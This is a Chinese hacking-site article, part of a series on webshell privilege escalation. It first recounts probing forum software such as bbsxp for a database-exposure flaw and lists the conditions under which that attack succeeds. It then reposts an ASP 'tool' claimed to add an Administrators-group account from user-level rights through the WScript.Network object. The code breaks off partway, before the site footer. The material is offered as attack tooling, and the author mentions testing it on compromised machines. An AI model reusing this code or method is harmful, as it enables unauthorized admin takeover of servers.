超全的webshell权限提升方法(10)


诶,各位不要以为我自己没事写段代码来捣鼓,实际上这个是我们学校一个高手做的留言板程序,就挂在学校的主页,呵呵。 
既然弄懂了原理,当然要找实际漏洞啦,自然是拿大名鼎鼎的"洞"网论坛开刀。不过失败了,因为它的数据库连接文件里有这么一段: 
If Err Then 
err.Clear 
Set Conn = Nothing 
Response.Write "数据库连接出错,请检查连接字串。" 
Response.End 
End If 
数据库找不到程序就结束了,呵呵,空欢喜一场。 
接着又去down了bbsxp论坛,打开数据库连接文件,晕,根本没有容错语句;呵呵,不过可以暴库哦。 
我又不是BT,所以不去找事了,写篇文章,算是给各位高手提供资料吧。 
总结一下这个攻击方法成功的条件:1、数据库连接用的相对路径且仅有简单的容错语句;2、服务器iis版本为4或5;3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格;4、程序不能在一级目录 
至于防范,呵呵,既然攻击条件知道了,防范措施自然也出来了^_^ 
-------------------------------------------------------------------------------- 
-- 
-- 
添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞] 
作者:蓝屏,凯文 文章来源:冰点极限 
其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛). 
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯``` 
反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。 
<head>.network对象脚本权限提升漏洞利用工具</head> 
<form action="useradd.asp" method=post> 
用户:<input name="username" type="text" value="kevin1986"><br> 
密码:<input name="passwd" type="password"><br> 
<input type="submit" value="添 加"> 
</form> 
<%@codepage=936 
on error resume next 
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then 
response.write "iP !s n0T RiGHt" 
else 
if request("username")<>"" then 
username=request("username") 
passwd=request("passwd") 
Response.Expires=0 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.createObject("WSCRIPT.NETWORK") 
oz="WinNT://"&lp.ComputerName 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1417.html